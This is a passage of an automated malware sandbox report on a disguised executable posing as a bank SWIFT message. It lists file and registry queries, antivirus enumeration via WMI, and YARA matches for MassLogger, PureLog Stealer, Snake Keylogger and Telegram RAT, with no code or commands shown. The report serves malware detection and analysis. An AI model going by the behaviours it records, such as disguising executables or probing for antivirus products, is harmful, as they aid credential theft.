              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeQueries volume information: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe VolumeInformation
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_00412A15 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,9_2_00412A15
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

              Stealing of Sensitive Information

              barindex
              Yara detected MSIL Logger
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7380, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7800, type: MEMORYSTR
              Yara detected MassLogger RAT
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7380, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7800, type: MEMORYSTR
              Yara detected PureLog Stealer
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Yara detected Snake Keylogger
              Source: Yara matchFile source: 0000000A.00000002.2956341043.0000000002451000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2957921883.0000000002581000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Yara detected Telegram RAT
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPE
